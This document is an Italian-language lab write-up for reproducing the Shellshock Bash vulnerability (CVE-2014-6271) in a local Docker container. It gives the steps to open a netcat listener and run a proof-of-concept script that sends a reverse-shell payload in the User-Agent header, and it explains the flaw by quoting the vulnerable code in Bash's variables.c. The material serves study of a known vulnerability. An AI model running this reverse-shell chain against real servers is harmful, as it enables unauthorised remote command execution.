Shellshock CVE-2014-6271

Shellshock

Scarica i file docker-compose.yml e poc.py Assicurati di installare la libreria requests tramite pip install requests!!! Se usi uv, installa la libreria requests nel venv tramite uv!!!

Configurazione Docker

Quando si esegue il comando docker compose up, il Dockerfile è stato scritto in modo da mantenere il server web in esecuzione.

Poiché il sistema operativo, Apache, ecc. nel Dockerfile sono stati scaricati da repository esterni, ho taggato l'immagine costruita e l'ho caricata su Docker Hub, quindi ho specificato quell'immagine nel file docker-compose.yml in modo che non ci siano problemi anche se l'originale viene eliminato.

È necessaria una shell Bash che presenti la vulnerabilità Shellshock. Ho scaricato e utilizzato la shell Bash versione 4.2.37(1).

Inoltre, poiché il codice deve essere eseguito dopo essere stato registrato nelle variabili d'ambiente e aver invocato bash, è necessario che esista un programma in grado di invocare bash. Ho scaricato il programma CGI utilizzato dal server web per gestire le richieste dei client. Secondo lo standard CGI (RFC 3875), il server web è progettato per inserire tutte le informazioni dell'intestazione inviate dal browser nelle variabili d'ambiente Linux per la loro elaborazione.

In queste condizioni, il server web invia una richiesta e le informazioni dell'intestazione vengono memorizzate nelle variabili d'ambiente (secondo lo standard CGI). L'attacco viene completato quando CGI invoca la shell Bash vulnerabile, che esegue la stringa che segue la definizione di funzione nelle variabili d'ambiente.

Richiesta (invio di codice nell'intestazione User-Agent) -> CGI invoca Bash -> Connessione reverse shell

1. Eseguire il server web con il comando docker compose up.
2. Aprire un nuovo terminale e avviare l'ascolto con nc -lvp 4444
3. Eseguire poc.py per connettere la reverse shell.
   • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (non deve essere necessariamente 4444; dipende dalla porta su cui si sta ascoltando)
   • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (se non usi uv, esegui con python3!!!)

Il terminale in ascolto al punto 2 della procedura si connette alla shell Bash all'interno del contenitore, consentendo di eseguire comandi come whoami, id, ecc.

  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

La causa della vulnerabilità si trova nella funzione initialize_shell_variables all'interno del file variables.c del codice della shell Bash. Anche questa funzione è molto lunga, quindi ho estratto solo la parte principale.

'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

La condizione if verifica tramite STREQN ("() {", string, 4) se i primi 4 caratteri sono "() {". Se corrispondono, la stringa viene considerata una definizione di funzione. Sorprendentemente, non c'è alcun filtro successivo sulla stringa, quindi questo è il problema.

'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' Il codice sopra combina il nome e il valore. La stringa, essendo stata verificata, inizia con () {, e name è il nome della variabile d'ambiente.

In questo modo, il nome e il valore della variabile d'ambiente vengono combinati e passati al codice seguente per essere analizzati. Poiché l'unico filtro esistente era il controllo su () {, qualsiasi comando aggiunto dopo la funzione (come whoami, id, pwd) viene eseguito.

'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''